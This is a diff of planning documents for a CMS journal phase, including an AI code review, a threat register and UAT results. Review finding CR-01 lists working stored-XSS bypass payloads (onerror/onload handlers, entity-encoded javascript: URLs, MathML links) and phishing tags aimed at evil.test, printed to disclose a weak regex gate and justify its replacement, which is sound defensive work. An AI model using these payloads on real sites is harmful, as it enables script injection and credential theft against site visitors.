- `admin/tests/list/ListView.test.ts`: "list state entry logic (D-01)".
|
||||
- `admin/tests/state/useAuth.test.ts`: logout clears list keys and keeps the sidebar.
|
||||
- `modules/cabana/query_relation_test.go`:
|
||||
- Matrix fixtures: custom pivot, self-reference, soft delete, polymorphic, hasOne and the scoped model and controller.
|
||||
- `bindRecorder` and `openBindDryRunDB`, `withoutSubqueries`, `pageStatement`.
|
||||
- `newFilteredListService`; `newDryRunListService` now delegates to it.
|
||||
- `TestListRelationSQL` and `TestListRelationSearchPostgres`.
|
||||
- `modules/cabana/locale_order_test.go`: `TestEnabledLocalesDefaultFirst` and its writer test doubles.
|
||||
- `../sm-journal-plugin/classes/format_html_test.go`: strict refuse cases and keep cases.
|
||||
- `../sm-journal-plugin/posts_admin_smoke_test.go`: `TestPostsAdminResaveKeepsHTML`.
|
||||
- `16.1-VALIDATION.md`: every status filled, Wave 0 checked, recorded runs.
|
||||
- `.planning/WINDOWS.md`: two unrun-verify entries for the Docker-host tests.
|
||||
|
||||
## Decisions Made
|
||||
|
||||
- **Strict refuse cases.** The FormatHTML refuse cases now require an error and an empty result. The old check also passed when the unsafe markup was rendered harmless. That is no longer a valid outcome, because with `html.WithUnsafe()` the gate is the only defence.
|
||||
- **`nyquist_compliant: true`.** Every automated row is green. Docker-host suites and UAT checks remain manual rows. The frontmatter `status` stays `draft`, because only validate-phase sets it to `validated`.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
None. The plan executed as written. Small additions within scope:
|
||||
- hasOne search and sort cases.
|
||||
- An `EnabledLocales` error case, an empty-default case and a no-in-place-mutation case.
|
||||
- `newFilteredListService`, needed for the scope-filter case.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- The `windows append` CLI refuses paths outside the repository. The sm-journal-plugin entry was therefore recorded against `16.1-VALIDATION.md`, and its description names the test file.
|
||||
- The auto-mode classifier twice gave no verdict on the Task 2 commit. The retry succeeded and nothing changed in between.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None. No external service configuration is required.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
- Phase 16.1 has every plan summarized. Next steps:
|
||||
- Run the Docker-host suites, which are pending.
|
||||
- Run `/msd-verify-work 16.1` for the UAT rows (D-01 list state, D-03 form locales, the post-64 footer).
|
||||
- Commits `a8bce9c`, `837922c` (summercms.go) and `03907ee` (sm-journal-plugin) are unpushed and ship with the next release.
|
||||
- Phase 16.2 can reuse `openBindDryRunDB`, `newFilteredListService` and the generic `relModelController` for any new list SQL.
|
||||
|
||||
---
|
||||
*Phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f*
|
||||
*Completed: 2026-10-09*
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
Created and modified test files exist; commits a8bce9c, 837922c, 837e40a (summercms.go) and 03907ee (sm-journal-plugin) are present.
|
||||
@@ -0,0 +1,168 @@
|
||||
---
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
reviewed: 2026-10-09T21:20:45Z
|
||||
depth: standard
|
||||
files_reviewed: 22
|
||||
files_reviewed_list:
|
||||
- admin/src/state/listState.ts
|
||||
- admin/src/state/useAuth.ts
|
||||
- admin/src/state/useSidebar.ts
|
||||
- admin/src/views/ListView.vue
|
||||
- admin/tests/form/FormView.test.ts
|
||||
- admin/tests/list/ListView.test.ts
|
||||
- admin/tests/smoke/list.smoke.test.ts
|
||||
- admin/tests/state/listState.test.ts
|
||||
- admin/tests/state/useAuth.test.ts
|
||||
- docs/backend/forms.md
|
||||
- docs/backend/lists-and-filters.md
|
||||
- modules/cabana/README.md
|
||||
- modules/cabana/http.go
|
||||
- modules/cabana/locale_order_test.go
|
||||
- modules/cabana/query.go
|
||||
- modules/cabana/query_relation_test.go
|
||||
- scripts/check-phase10.sh
|
||||
- ../sm-journal-plugin/README.md
|
||||
- ../sm-journal-plugin/classes/format_html.go
|
||||
- ../sm-journal-plugin/classes/format_html_test.go
|
||||
- ../sm-journal-plugin/go.mod
|
||||
- ../sm-journal-plugin/posts_admin_smoke_test.go
|
||||
findings:
|
||||
critical: 1
|
||||
warning: 5
|
||||
info: 3
|
||||
total: 9
|
||||
status: issues_found
|
||||
---
|
||||
|
||||
# Phase 16.1: Code Review Report
|
||||
|
||||
**Reviewed:** 2026-10-09T21:20:45Z
|
||||
**Depth:** standard
|
||||
**Files Reviewed:** 22
|
||||
**Status:** issues_found
|
||||
|
||||
## Narrative Findings (AI reviewer)
|
||||
|
||||
## Summary
|
||||
|
||||
I reviewed the phase diffs: summercms.go `1ef21b0^..HEAD` and sm-journal-plugin `3d533d4..HEAD`. I checked the relation subquery SQL in `modules/cabana/query.go` against GORM's relationship model. Table, pivot and column names come only from the parsed schema, every identifier goes through `quotedIdent`/`qualifiedColumn`, and the search term is a bound parameter. I found no SQL injection path. The EXISTS correlation is correct for belongsTo, hasOne, hasMany and belongsToMany, including self-referencing relations. The `enabledContentLocales` reorder is correct, and so is the list-state key and validation logic.
|
||||
|
||||
The blocking problem is in the journal plugin. Turning on `html.WithUnsafe()` makes the three-regex `rejectUnsafe` blocklist the only defence against stored XSS. That blocklist can be bypassed with ordinary HTML-parser behaviour, and I confirmed this by running the same goldmark config and regexes. The public Nuxt layer (`vue-journal-layer/app/utils/htmlGate.ts`) uses the same three regexes word for word, so it adds no defence in depth. Before this phase, goldmark replaced these payloads with `<!-- raw HTML omitted -->`. They now reach `content_html` and the public `v-html` sinks.
|
||||
|
||||
## Critical Issues
|
||||
|
||||
### CR-01: The rejectUnsafe gate can be bypassed now that raw HTML passes, so stored XSS reaches content_html (T-16.1-02 not met)
|
||||
|
||||
**File:** `../sm-journal-plugin/classes/format_html.go:22,25-27,54-66`
|
||||
**Issue:** With `goldmark.WithRendererOptions(html.WithUnsafe())`, goldmark copies raw HTML blocks verbatim. Inside a type-6 HTML block, which is any block starting with `<div>` or `<p>`, the content does not even have to be valid CommonMark tag syntax. With unsafe mode on, goldmark also stops applying its own `IsDangerousURL` filter. The remaining gate is a substring blocklist, and these payloads get past it. I verified each one against goldmark v1.8.6 with the exact engine options and regexes; every one returns `err == nil`:
|
||||
|
||||
| Source passed to `FormatHTML` | Output (unchanged) | Why the gate misses it |
|
||||
|---|---|---|
|
||||
| `<p><img src="x"onerror="alert(1)"></p>` | same | `\son[a-z]+\s*=` needs whitespace before `on`; browsers accept a quoted value followed directly by the next attribute. Runs on page load. |
|
||||
| `<div>\n<svg/onload=alert(1)>\n</div>` | same | `/` is a valid attribute separator in HTML. Runs on page load. |
|
||||
| `<a href="javascript:alert(1)">x</a>` | same | The browser decodes the entity before parsing the URL. |
|
||||
| `<a href="javascript:alert(1)">x</a>` | same | Named entity. |
|
||||
| `<a href="javascript:alert(1)">x</a>` | same | Entity inside the scheme. |
|
||||
| `<a href="java\tscript:alert(1)">x</a>` | same | The URL parser strips tab and newline. |
|
||||
| `<div>\n<math><maction actiontype=statusline xlink:href="javascript:alert(1)">x</maction></math>\n</div>` | same | Same issue in the MathML/SVG namespace. |
|
||||
|
||||
Non-script tags that are just as dangerous also pass: `<base href="https://evil.test/">` rewrites every relative URL on the page, `<meta http-equiv="refresh" content="0;url=https://evil.test">` is an open redirect, and `<form action="https://evil.test"><input type=password ...>` is a credential phish. The plan accepted only "inert tags such as style, footer or form" as residual risk, not executable script.
|
||||
|
||||
**Impact:** All three write paths call `FormatHTML`: admin save at `controllers/posts.go:213`, `journal:import-posts` at `console/import_posts.go:185`, and the Journal API writes at `controllers/api/posts_helpers.go:511,567,768`. The result is served as `content_html` and rendered with `v-html` behind `gateJournalHtml`, which uses the same regexes. So any admin with the posts permission, or any imported file, can plant script that runs for every public visitor. If the admin SPA and the public site share an origin, it also runs for any signed-in superuser who opens the post. The admin cookie is HttpOnly but is still sent on same-origin API calls, so this is an escalation from author to full admin. `CheckHTML` for category `content` (`controllers/categories.go:75`) shares the same weak gate. That part predates this phase, but it is the same root cause.
|
||||
|
||||
The README sentence added in this phase ("its gate still refuses ... event handlers and javascript, vbscript and data URLs on every write path") and the T-16.1-02 mitigation claim are both untrue as written.
|
||||
|
||||
**Fix:** Replace the regex blocklist with a parser-based allowlist. Following the project's preference for established libraries, add `github.com/microcosm-cc/bluemonday` with a decision note and sanitize the rendered output rather than refusing it:
|
||||
```go
|
||||
var postPolicy = func() *bluemonday.Policy {
|
||||
p := bluemonday.UGCPolicy() // drops script/iframe/object/embed/base/meta/form, on*, js/vbscript URLs
|
||||
p.AllowAttrs("class").Globally() // keep imported class attributes (D-03 round-trip)
|
||||
p.AllowElements("footer", "figure", "figcaption")
|
||||
return p
|
||||
}()
|
||||
|
||||
func FormatHTML(src string) (string, error) {
|
||||
var buf bytes.Buffer
|
||||
if err := markdownEngine.Convert([]byte(strings.TrimSpace(src)), &buf); err != nil {
|
||||
return "", fmt.Errorf("journal: markdown: %w", err)
|
||||
}
|
||||
return postPolicy.Sanitize(buf.String()), nil
|
||||
}
|
||||
```
|
||||
If a new dependency is not acceptable, use the parser already in the build: `golang.org/x/net/html`, at v0.58.0 in go.sum. Tokenize the output and refuse it when a start tag is not in an allowlist, when an attribute name starts with `on`, or when an `href`/`src`/`xlink:href`/`action`/`formaction` value, after entity decoding (the tokenizer does that) and after removing ASCII whitespace and control characters, starts with a scheme other than `http`, `https`, `mailto` or a relative path. Also port the fix to `vue-journal-layer/app/utils/htmlGate.ts`, for example DOMPurify on the client and server render, so the public layer actually provides defence in depth. Add every payload from the table above to `TestFormatHTMLRejectsUnsafeHTML`.
|
||||
|
||||
## Warnings
|
||||
|
||||
### WR-01: `data:` blocklist regex refuses ordinary Polish text "Data:" (and "metadata:"), so imports and saves fail
|
||||
|
||||
**File:** `../sm-journal-plugin/classes/format_html.go:27`
|
||||
**Issue:** `(?i)(?:javascript|vbscript|data):` has no word boundary and no attribute context, so it matches body text. In Polish, "Data:" is the usual label for a date ("Data: 12 maja 2024", "Data publikacji:"). I confirmed that `FormatHTML("<p>Data: 12 maja 2024</p>")` is refused, and so is any English text containing "metadata:" or "big data:". The admin save returns 422 on `content` (`controllers/posts.go:213-217`), and `journal:import-posts` rejects the post. This works against D-03's goal that imported HTML bodies survive a save. The regex existed before this phase, but the phase now routes all raw imported HTML through it.
|
||||
**Fix:** Check URL schemes only inside URL-bearing attribute values. The parser-based gate from CR-01 does this. As a stop-gap, anchor the regex to an attribute value, for example `(?i)(?:href|src|action|formaction|xlink:href)\s*=\s*["']?\s*(?:javascript|vbscript|data):`. Treat that only as a stop-gap, since CR-01 shows the regex approach is not sufficient on its own.
|
||||
|
||||
### WR-02: A stored list query that fails deterministically (non-422) locks the list until logout; on 422 the view shows only an error
|
||||
|
||||
**File:** `admin/src/views/ListView.vue:141-150,165-184,420-424`
|
||||
**Issue:**
|
||||
1. Only a 422 clears the stored state. If a stored sort or filter makes the server fail deterministically with a 500, for example a relation sort whose `db.Joins(field)` collides with a join already added by `ListExtendQuery`, or a `relationSubquery` parse error, the list shows the `load_failed` alert. While `failed` is true, `DataTable`, including the sortable column headers, is not rendered (line 420 `v-if` / line 423 `v-else`), so the admin cannot clear the sort. Opening the bare list URL or the sidebar link restores the same stored query (line 171-176). The list stays broken until logout or until local storage is cleared by hand.
|
||||
2. On a 422, storage is cleared, but the URL still holds the stale parameters and the user sees only the error alert. A restore that the user never asked for turns into a failed screen, and the user has to leave and come back to recover.
|
||||
**Fix:** If the first load after a restore fails for any reason, drop the stored query and load the unfiltered list, rather than only clearing storage on a 422:
|
||||
```ts
|
||||
let restored = false
|
||||
// in the watch, when restoring:
|
||||
restored = true
|
||||
void router.replace({ path: route.path, query: toListQuery(stored) })
|
||||
|
||||
// in loadList, after the generation check:
|
||||
if (!result.data && (restored || result.response?.status === 422)) {
|
||||
restored = false
|
||||
writeListState(controllerId, {})
|
||||
void router.replace({ path: route.path, query: {} })
|
||||
return
|
||||
}
|
||||
restored = false
|
||||
```
|
||||
Alternatively, keep `DataTable` headers rendered on failure so the sort can be reset.
|
||||
|
||||
### WR-03: Stored list queries survive session expiry and are not scoped to an admin
|
||||
|
||||
**File:** `admin/src/state/useAuth.ts:91-101`, `admin/main.ts:25-31`, `admin/src/state/listState.ts:24-26`
|
||||
**Issue:** The key is `summer-admin.list:<controllerId>`, with no admin id. Only an explicit `logout()` calls `clearListStates()`. When the session ends any other way (token expiry or refresh failure goes through `onUnauthorized` → `clearUser()` in `main.ts:25-31`, or the user simply closes the tab), the stored searches stay. The next admin who signs in on that browser gets them restored into the URL and sent to the server. Search terms often hold personal data such as customer names or emails, and T-16.1-03 claims "logout clears them" as the mitigation.
|
||||
**Fix:** Call `clearListStates()` from `clearUser()` so every session end clears them, or prefix the key with the signed-in admin's id (`summer-admin.list:<adminId>:<controllerId>`) and drop keys for other ids on login.
|
||||
|
||||
### WR-04: The new relation SQL is only checked as DryRun strings and never runs against Postgres
|
||||
|
||||
**File:** `modules/cabana/query_relation_test.go:133-146` (all relation tests); `modules/cabana/query.go:310-450`
|
||||
**Issue:** Every new test opens `openDryRunDB` with `DryRun: true` and asserts on the SQL text. None of these constructs are ever executed: the correlated `EXISTS (SELECT 1 FROM ... JOIN ... ON ... WHERE ... AND LOWER(CAST(... AS TEXT)) LIKE ? ESCAPE '\')`, the `ORDER BY (SELECT string_agg(CAST(..) AS TEXT), ', ' ORDER BY CAST(..) AS TEXT)) FROM ... )` raw order column merged with the primary-key tiebreak, and the pivot alias correlation. The journal plugin has a testcontainers harness (`admin_harness_test.go`), but no test there runs a relation search or a to-many sort. A typo in operator precedence, alias scoping or the escape literal would pass CI and fail only in production.
|
||||
**Fix:** Add a testcontainers-gated test in cabana, or in the journal admin harness. It should seed posts with zero, one and two categories (plus a soft-deleted category), run `?search=` on a belongsToMany, a hasMany and a belongsTo column, and run `?sort=categories&dir=desc`. Assert the returned ids and that `meta.total` equals the number of distinct posts.
|
||||
|
||||
### WR-05: to-many sort key does not equal the displayed text, contradicting the code comment and docs
|
||||
|
||||
**File:** `modules/cabana/query.go:314-324`, `modules/cabana/query.go:734-757`, `docs/backend/lists-and-filters.md:62`
|
||||
**Issue:** The sort uses `string_agg(value, ', ' ORDER BY value)`, which sorts the values alphabetically. The displayed cell (`relatedSelectMany`) joins the preloaded records in whatever order `Preload` returns them, which has no ORDER BY (in practice pivot or primary-key order). A post with categories inserted as "Zebra", "Apple" shows "Zebra, Apple" but sorts as "Apple, Zebra", so the rows look out of order. The comment ("string_agg in the same order is the comma-joined value the list displays") and the docs sentence ("sorts by its comma-joined values, the text the list shows") are both wrong.
|
||||
**Fix:** Make the display match the sort by sorting `values` in `relatedSelectMany` with `slices.Sort(values)` before joining. Alternatively, preload with the same order (`q.Preload(field, func(db *gorm.DB) *gorm.DB { return db.Order(column) })`) and correct the docs. Either way, add a test with related values in non-alphabetical order.
|
||||
|
||||
## Info
|
||||
|
||||
### IN-01: NULL placement for relation sorts differs from Winter
|
||||
|
||||
**File:** `modules/cabana/query.go:318-332`
|
||||
**Issue:** A record with no related rows sorts on NULL. PostgreSQL puts NULLs last for ASC and first for DESC, while Winter on MySQL does the opposite. Admin users will see records without categories at the opposite end from the PHP admin.
|
||||
**Fix:** If parity matters, append `NULLS FIRST` for ASC and `NULLS LAST` for DESC to the raw order expression and to the to-one joined column.
|
||||
|
||||
### IN-02: Relation search and sort validity is checked per request, not at compile time
|
||||
|
||||
**File:** `modules/cabana/query.go:372-389,483-490`
|
||||
**Issue:** A `searchable: true` column on a polymorphic relation, or with a `select` the related model lacks, compiles at boot but makes every search answer 422 ("is not a searchable relation column"). Combined with WR-02, the list-state 422 handling then clears storage each time. This is a misconfiguration the admin cannot fix and that only shows up at runtime.
|
||||
**Fix:** Call `relationSubquery` for every searchable or sortable relation column during `CompileList`, or in the service constructor once the model is known, and fail boot, as the project already does for unknown column types.
|
||||
|
||||
### IN-03: Two sources of truth for the main table name
|
||||
|
||||
**File:** `modules/cabana/query.go:389` (`stmt.Schema.Table`) vs `modules/cabana/query.go:298,470,633-654` (`tableName(model)`)
|
||||
**Issue:** The relation subquery correlates on GORM's parsed table name, but plain search columns, filters and the primary-key tiebreak qualify with `tableName(model)`. For a model without `TableName()`, that returns `""`, and `quotedIdent(db, "")` produces `""."col"`, which is invalid SQL. This predates the phase, but the new code now mixes the two sources in one statement.
|
||||
**Fix:** Parse the model schema once in `ExecuteList` and pass `stmt.Schema.Table` to `applyListSearch`, `applyListFilters` and `applyListOrder`.
|
||||
|
||||
---
|
||||
|
||||
_Reviewed: 2026-10-09T21:20:45Z_
|
||||
_Reviewer: Claude (msd-code-reviewer)_
|
||||
_Depth: standard_
|
||||
@@ -0,0 +1,82 @@
|
||||
---
|
||||
phase: "16.1"
|
||||
slug: "journal-admin-urgent-fixes-relation-search-list-state-post-f"
|
||||
status: draft
|
||||
# threats_open = count of OPEN threats at or above workflow.security_block_on severity (the blocking gate)
|
||||
threats_open: 0
|
||||
asvs_level: 1
|
||||
created: "2026-10-10"
|
||||
---
|
||||
|
||||
# Phase 16.1 — Security
|
||||
|
||||
> Per-phase security contract: threat register, accepted risks, and audit trail.
|
||||
|
||||
---
|
||||
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description | Data Crossing |
|
||||
|----------|-------------|---------------|
|
||||
| Admin SPA → cabana list API | Authenticated backend users send search, sort and filter params that become SQL | Query params (untrusted input), list rows |
|
||||
| Post authors / import / Journal API → journal `content_html` | Markdown and raw HTML from admins, the import command and API writers is rendered and stored | Post HTML (stored, served to anonymous readers) |
|
||||
| Journal API → public Nuxt layer → browser | Stored HTML is rendered with `v-html` on public pages | Post and category HTML |
|
||||
| Admin browser storage | Remembered list queries persist across sessions on a shared browser | List query params per admin |
|
||||
| Release workstation → origin / UAT server | Tags, pushes, binary upload and restarts | Source, binary, server state |
|
||||
|
||||
---
|
||||
|
||||
## Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation | Status |
|
||||
|-----------|----------|-----------|----------|-------------|------------|--------|
|
||||
| T-16.1-01 | Tampering (SQLi) | modules/cabana/query.go relation search/sort | high | mitigate | Identifiers only from GORM's parsed relationship, quoted via `quotedIdent`/`qualifiedColumn`; polymorphic/unknown columns answer 422; search term `escapeLike`d and bound; sort limited to schema-declared columns and asc/desc; route behind `protect()` | closed |
|
||||
| T-16.1-02 | Tampering / EoP (stored XSS) | sm-journal-plugin classes/format_html.go | medium | mitigate | Planned regex `rejectUnsafe` proved bypassable (CR-01, 16.1-REVIEW.md). Replaced by goldmark + bluemonday allow-list on every host `content_html` writer (admin, import, API) and `CheckHTML` for categories (sm-journal-plugin a3551f2; decision note `.planning/notes/journal-html-sanitizing-bluemonday.md`); 35-payload token-checked tests; public layer replaced its regex gate with sanitize-html (vue-journal-layer 5beb1c5). Deployed to UAT: host cbb4e7d, binary e1ba3587…148ceb (server sha256 checked by the orchestrator 2026-10-09) | closed |
|
||||
| T-16.1-03 | Information Disclosure | admin/src/state/listState.ts | low | mitigate | Only list query params stored; browser storage limited to listState.ts/useSidebar.ts (enforced by scripts/check-phase10.sh). WR-03 cross-admin leak fixed in cd25af0: keys scoped `summer-admin.list:<adminId>:<controller>`, all keys cleared on logout, session expiry (`expireSession` via `onUnauthorized`) and sign-in as another admin; legacy keys swept | closed |
|
||||
| T-16.1-04 | Tampering | admin list state restore | low | mitigate | `readListState` validates shape and re-parses via `parseListQuery`; server re-validates page, per_page, sort and filters (422); a failed restored query is forgotten and the plain list reloads once (WR-02, cd25af0) | closed |
|
||||
| T-16.1-05 | DoS | cabana relation search | low | accept | See AR-01 | closed |
|
||||
| T-16.1-06 | Tampering (false-green release) | 16.1-02 release gate | medium | mitigate | Release sheet records `release-gate-ok`, counted smoke tests, vitest, dist and OpenAPI gates and the human decision verbatim (16.1-02-SUMMARY) | closed |
|
||||
| T-16.1-07 | Tampering / Repudiation | summercms v0.1.16 tag and pushes | high | mitigate | Annotated tag on d77393b containing 06d75cb, bd8626e, 9cac45c; origin tag object d8e3536 matches local; journal and host heads on origin | closed |
|
||||
| T-16.1-08 | Information Disclosure | UAT deploy | high | mitigate | DEPLOY.md rsync list excludes env files; no credentials in any SUMMARY; executors never requested or held credentials | closed |
|
||||
| T-16.1-09 | Tampering | UAT database | medium | mitigate | Read-only psql/log checks only; post data changed only by two human admin saves; `.prev` binary kept for rollback | closed |
|
||||
| T-16.1-10 | EoP | deploy sudo scope | low | accept | See AR-02 | closed |
|
||||
| T-16.1-11 | Repudiation (false green) | 16.1-VALIDATION.md | medium | mitigate | Row 16.1-03-03 updated 2026-10-10 to the post-CR-01 test names; re-run gives four top-level PASS lines | closed |
|
||||
| T-16.1-12 | Tampering / DoS | cabana DryRun tests | low | mitigate | DryRun DBs use `DryRun: true`, `DisableAutomaticPing`, `port=1` DSN; Postgres tests use testcontainers | closed |
|
||||
| T-16.1-SC | Tampering (supply chain) | go.mod / package.json | high | mitigate | summercms.go adds no dependency; sm-journal-plugin adds bluemonday v1.0.27 (+ aymerick/douceur v0.2.0, gorilla/css v1.0.1), named in the decision note, hash-pinned, `go mod verify` clean; vue-journal-layer adds sanitize-html 2.18.0 with decision note docs/decisions/0001-sanitize-html.md | closed |
|
||||
| T-16.1-13 (audit W-1) | Tampering (stored XSS, latent) | sm-journal-plugin translated `content_html` (API syncTranslations, import) | medium | mitigate | `classes.FormatTranslation` on every API and import locale write: derived from `content` or sanitized with the same policy; default-locale bypass covered (sm-journal-plugin 0d00ec8; harness tests TestJournalAPITranslatedContentHTML, TestJournalImportTranslatedContentHTML) | closed |
|
||||
| T-16.1-14 (audit W-2) | Tampering | sm-journal-plugin FormatHTML byte-preserving shortcut (duplicate attributes) | low | mitigate | Raw attribute names compared with tokenizer output; duplicates store the sanitized output and CheckHTML refuses (sm-journal-plugin 5f47083; TestFormatHTMLDuplicateAttributes, TestRawAttrNames, TestCheckHTML cases) | closed |
|
||||
|
||||
*Status: open · closed · open — below high threshold (non-blocking)*
|
||||
*Severity: critical > high > medium > low — only open threats at or above workflow.security_block_on count toward threats_open*
|
||||
*Disposition: mitigate (implementation required) · accept (documented risk) · transfer (third-party)*
|
||||
|
||||
---
|
||||
|
||||
## Accepted Risks Log
|
||||
|
||||
| Risk ID | Threat Ref | Rationale | Accepted By | Date |
|
||||
|---------|------------|-----------|-------------|------|
|
||||
| AR-01 | T-16.1-05 | Relation search uses EXISTS subqueries; the route is admin-only and page size is limited to schema options. The COUNT query evaluates EXISTS over every matching row, not one page; acceptable at current data sizes (≈100 posts) | 16.1-01 plan (accept disposition) | 2026-10-10 |
|
||||
| AR-02 | T-16.1-10 | Deploy uses a narrow sudo scope (nginx -t/reload, supervisorctl) documented in DEPLOY.md | 16.1-02 plan (accept disposition) | 2026-10-10 |
|
||||
|
||||
---
|
||||
|
||||
## Security Audit Trail
|
||||
|
||||
| Audit Date | Threats Total | Closed | Open | Run By |
|
||||
|------------|---------------|--------|------|--------|
|
||||
| 2026-10-10 | 13 (register) + 2 audit warnings | 13 | 2 (below high, non-blocking) | msd-security-auditor (ASVS L1, boundary checks for T-16.1-01/02/WR-03) |
|
||||
| 2026-10-10 | 15 | 15 | 0 | orchestrator (T-16.1-13/14 fixed in 0d00ec8, 5f47083; tests re-run) |
|
||||
|
||||
Audit notes: the auditor flagged W-3 (public layer gate) and W-4 (no record of the a3551f2 UAT deploy). W-3 is resolved by vue-journal-layer 5beb1c5; W-4 is recorded in T-16.1-02 above. The admin preview (`modules/cabana/field_markdown.go`) stays in goldmark safe mode.
|
||||
|
||||
---
|
||||
|
||||
## Sign-Off
|
||||
|
||||
- [x] All threats have a disposition (mitigate / accept / transfer)
|
||||
- [x] Accepted risks documented in Accepted Risks Log
|
||||
- [x] `threats_open: 0` confirmed
|
||||
- [ ] `status: verified` set in frontmatter
|
||||
|
||||
**Approval:** pending (T-16.1-13/14 fixes and the combined release)
|
||||
@@ -0,0 +1,54 @@
|
||||
---
|
||||
status: complete
|
||||
phase: 16.1-journal-admin-urgent-fixes-relation-search-list-state-post-f
|
||||
source: [16.1-VERIFICATION.md]
|
||||
started: 2026-10-10T00:00:00Z
|
||||
updated: 2026-10-10T01:00:00Z
|
||||
---
|
||||
|
||||
## Current Test
|
||||
|
||||
[testing complete]
|
||||
|
||||
## Tests
|
||||
|
||||
### 1. Install the hardened staging vhost on UAT (root)
|
||||
expected: Security headers present exactly once on public pages, /gfadmin unchanged in access, `nginx -t` passes
|
||||
result: pass
|
||||
evidence: |
|
||||
2026-10-09 23:05 UTC via debian@ sudo. Backup /etc/nginx/sites-available/uat.grzybyfunkcjonalne.pl.bak-20261009T230555Z;
|
||||
installed sha256 bce4d7f9…bd7c; `nginx -t` ok; reloaded. curl: /, a post, /_journal, a /storage 404 and /gfadmin each carry
|
||||
HSTS, nosniff, X-Frame-Options DENY, Referrer-Policy, Permissions-Policy and CSP-Report-Only exactly once; /gfadmin keeps its
|
||||
enforced CSP and Referrer-Policy same-origin, answers 200 without basic auth, locale cookie Secure; public paths still 401
|
||||
off-server. On-server smoke (loopback): smoke: ok (98 urls); 200 pages show all six headers. Winter vhost untouched.
|
||||
|
||||
### 2. Posts list search on UAT
|
||||
expected: Searching "cordyceps" at https://uat.grzybyfunkcjonalne.pl/gfadmin/golem15/journal/posts returns rows (no "The list could not be loaded")
|
||||
result: pass
|
||||
evidence: user confirmed on UAT 2026-10-10 ("Confirmed")
|
||||
|
||||
### 3. List state round trip on UAT (D-01, v0.1.17 build)
|
||||
expected: Sort plus a category filter survive opening a post and back, "Zapisz i zamknij", and leaving via the plugin rail; the URL carries them; a pasted URL in a new tab shows the same list; after logout and login the list opens unfiltered; signing in as a different admin on the same browser shows no earlier admin's search
|
||||
result: pass
|
||||
evidence: user confirmed all three sub-checks on UAT 2026-10-10 (sort/filter survive navigation; URL round trip; cleared after logout)
|
||||
|
||||
### 4. Post form locales and fields on UAT (D-03)
|
||||
expected: An imported post's form shows pl first with title, slug, content and excerpt filled
|
||||
result: pass
|
||||
evidence: user confirmed on UAT 2026-10-10
|
||||
|
||||
### 5. Review the prohibition verdicts
|
||||
expected: The nine prohibition verdicts in 16.1-VERIFICATION.md (all "not violated") are acceptable
|
||||
result: pass
|
||||
evidence: user reviewed the nine verdicts and replied "approved" 2026-10-10 (notes: #6 UAT vhost installed, Winter vhost untouched; #3 translated content_html derived from content when both are sent, shapes unchanged)
|
||||
|
||||
## Summary
|
||||
|
||||
total: 5
|
||||
passed: 5
|
||||
issues: 0
|
||||
pending: 0
|
||||
skipped: 0
|
||||
blocked: 0
|
||||
|
||||
## Gaps
|
||||
@@ -4,8 +4,8 @@ slug: "journal-admin-urgent-fixes-relation-search-list-state-post-f"
|
||||
# status lifecycle: draft (seeded by plan-phase) → validated (set by validate-phase §6)
|
||||
# audit-milestone §5.5 distinguishes NOT-VALIDATED (draft) from PARTIAL (validated + nyquist_compliant: false) (#2117)
|
||||
status: draft
|
||||
nyquist_compliant: false
|
||||
wave_0_complete: false
|
||||
nyquist_compliant: true
|
||||
wave_0_complete: true
|
||||
created: "2026-10-09"
|
||||
---
|
||||
|
||||
@@ -45,16 +45,16 @@ Pre-existing red, not caused by this phase: `scripts/check-phase10.sh --hygiene`
|
||||
|
||||
| Task ID | Plan | Wave | Requirement | Threat Ref | Secure Behavior | Test Type | Automated Command | File Exists | Status |
|
||||
|---------|------|------|-------------|------------|-----------------|-----------|-------------------|-------------|--------|
|
||||
| 16.1-01-01 | 01 | 1 | D-02 | T-16.1-01 | Relation and column names come from the compiled schema and GORM's parsed relationship; the search value is bound | unit (DryRun, through `service.list`) | `go test -count=1 -run '^TestListRelationSearchSmoke$' -v ./modules/cabana` | ❌ W0 (created by the task) | ⬜ pending |
|
||||
| 16.1-01-02 | 01 | 1 | D-03 | — | N/A | unit | `go test -count=1 -run '^TestEnabledLocalesDefaultFirstSmoke$' -v ./modules/cabana` | ❌ W0 (created by the task) | ⬜ pending |
|
||||
| 16.1-01-03 | 01 | 1 | D-03 | T-16.1-02 | Raw HTML passes; script/iframe/object/embed, on* handlers and javascript/vbscript/data URLs are still refused on every write path | unit | `go -C ../sm-journal-plugin test -count=1 ./classes/` | ✅ extend `classes/format_html_test.go` | ⬜ pending |
|
||||
| 16.1-01-04 | 01 | 1 | D-01 | T-16.1-03, T-16.1-04 | Only list query params are stored, under `summer-admin.list:` keys; restored state passes the strict URL parser; logout clears it | unit (vitest) + dist drift | `npm --prefix admin test -- tests/list/ListView.test.ts tests/form/FormView.test.ts tests/smoke tests/state` ; `bash scripts/check-admin-dist.sh` | ✅ extend `admin/tests/list/ListView.test.ts` | ⬜ pending |
|
||||
| 16.1-02-01 | 02 | 2 | D-04 | T-16.1-06, T-16.1-07 | Release only after the local gate is green and a human approves the one-way tag push | gate + checkpoint | full local suite (plan 02 Task 1 verify) | ✅ | ⬜ pending |
|
||||
| 16.1-02-02 | 02 | 2 | D-04 | T-16.1-07, T-16.1-08 | Uploaded binary sha256 equals the local build; previous binary kept as `.prev`; no `.env` rsynced | e2e (server) | on-server `scripts/smoke.sh --url https://uat.grzybyfunkcjonalne.pl` via loopback resolve | ✅ | ⬜ pending |
|
||||
| 16.1-02-03 | 02 | 2 | D-02, D-03 | T-16.1-09, T-16.1-10 | Read-only SQL and log checks; only posts 53 and 64 are re-saved, by a human | integration (server, read-only) | `ssh grzybyfunkcjonalne-uat "psql -X -d grzybyfunkcjonalne -tAc ..."` (raw-HTML marker count 0, post 64 footer present) | ✅ | ⬜ pending |
|
||||
